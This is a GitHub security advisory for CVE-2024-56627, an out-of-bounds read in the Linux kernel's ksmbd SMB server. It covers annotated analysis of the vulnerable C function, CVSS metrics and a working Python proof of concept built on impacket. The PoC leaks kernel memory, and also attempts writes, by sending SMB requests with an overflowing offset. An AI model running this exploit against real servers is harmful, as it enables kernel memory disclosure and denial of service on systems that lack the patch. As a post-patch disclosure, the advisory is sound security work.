Skip to content

Linux Kernel: Out of bounds Read in ksmbd_vfs_stream_read

Critical
rcorrea35 published GHSA-gqrv-6fcf-hvv8 Jan 9, 2025

Package

ksmbd_vfs_stream_read (Linux Kernel)

Affected versions

> 5.15

Patched versions

v6.13-rc2

Description

Summary

Ksmbd, the in-kernel SMB server in Linux, utilizes extended attributes to store Alternate Data Streams (ADS) associated with files. Two vulnerabilities exist in the handling of requests for files with ADS when an extremely large offset is provided. The ksmbd_vfs_stream_read function, responsible for reading data from a file with extended attributes (representing ADS), fails to properly validate the provided offset (*pos). This allows an attacker to supply a negative offset, leading to an out-of-bounds read from the stream_buf.

Severity

Critical - This vulnerability can allow an attacker to remotely read sensitive information from the kernel memory preceding the stream_buf and or a denial of serivce.

Analysis

static int ksmbd_vfs_stream_read(struct ksmbd_file *fp, char *buf, loff_t *pos,
				 size_t count)
{
	ssize_t v_len;
	char *stream_buf = NULL;

	ksmbd_debug(VFS, "read stream data pos : %llu, count : %zd\n",
		    *pos, count);

	v_len = ksmbd_vfs_getcasexattr(file_mnt_idmap(fp->filp), // (1)
				       fp->filp->f_path.dentry,
				       fp->stream.name,
				       fp->stream.size,
				       &stream_buf);
	if ((int)v_len <= 0)
		return (int)v_len;

	if (v_len <= *pos) { // (2)
		count = -EINVAL;
		goto free_buf;
	}

	if (v_len - *pos < count)
		count = v_len - *pos;

	memcpy(buf, &stream_buf[*pos], count); // (3)

free_buf:
	kvfree(stream_buf);
	return count;
}
  1. Extended Attribute Retrieval: The ksmbd_vfs_getcasexattr function (at (1)) retrieves the extended attribute data and stores it in the heap-allocated stream_buf.
  2. Insufficient Validation: The check at (2) (if (v_len <= *pos)) is intended to prevent reading beyond the end of the attribute data. However, it only considers cases where *pos is greater than or equal to the length of the data (v_len). It fails to account for the possibility of *pos being negative.
  3. Out-of-Bounds Access: The memcpy at (3) uses *pos directly as an offset into stream_buf. If *pos is negative, this results in accessing memory before the start of the allocated buffer.

An attacker can exploit this vulnerability by crafting an SMB read request with a large offset that overflows the loff_t type, resulting in a negative value. This negative offset is then passed to ksmbd_vfs_stream_read, triggering the out-of-bounds read.

Proof of Concept

from impacket import smb3 as smb, smbconnection
from hexdump import hexdump


class BugClient:
    def __init__(self, target, share, username, password, domain="", port=445):
        self.target = target
        self.share = share
        self.username = username
        self.password = password
        self.domain = domain
        self.port = port
        self.smbClient = smbconnection.SMBConnection(
            self.target, self.target, sess_port=self.port
        )
        self.smbClient.login(self.username, self.password, self.domain)

    def leak_oob(self, file_path, how_much):
        try:
            # Connect to the share
            tree_id = self.smbClient.connectTree(self.share)

            # Open the file
            file_id = self.smbClient.openFile(
                tree_id, file_path, desiredAccess=smb.FILE_READ_DATA
            )

            # Read the file contents at offset
            data = self.smbClient.readFile(
                tree_id, file_id, 18446744073709551615 - how_much, how_much
            )

            # Close the file
            self.smbClient.closeFile(tree_id, file_id)

            # Disconnect from the tree
            self.smbClient.disconnectTree(tree_id)

            return data

        except Exception as e:
            print(f"Error reading file: {e}")
            return None

    def write_oob(self, file_path, data, how_much):
        try:
            # Connect to the share
            tree_id = self.smbClient.connectTree(self.share)

            # Open the file for writing
            file_id = self.smbClient.openFile(
                tree_id,
                file_path,
                desiredAccess=smb.GENERIC_WRITE,
                creationDisposition=smb.FILE_CREATE,
            )

            # Write data at the specified offset
            self.smbClient.writeFile(
                tree_id, file_id, data, 18446744073709551615 - how_much
            )

            # Close the file
            self.smbClient.closeFile(tree_id, file_id)

            # Disconnect from the share
            self.smbClient.disconnectTree(tree_id)
        except Exception as e:
            print(f"Error writing file: {e}")
            return None


client = BugClient("127.0.0.1", "share1", "", "") # Host, share, user, pass


# Leak 64 bytes of OOB data
data = client.leak_oob("/file:stream1:$data", 64)
hexdump(data)

Timeline

Date reported: 11/10/2024
Date fixed: 12/10/2024
Date disclosed: 01/09/2025

Severity

Critical

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
None
Availability
High

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H

CVE ID

CVE-2024-56627

Weaknesses

No CWEs

Credits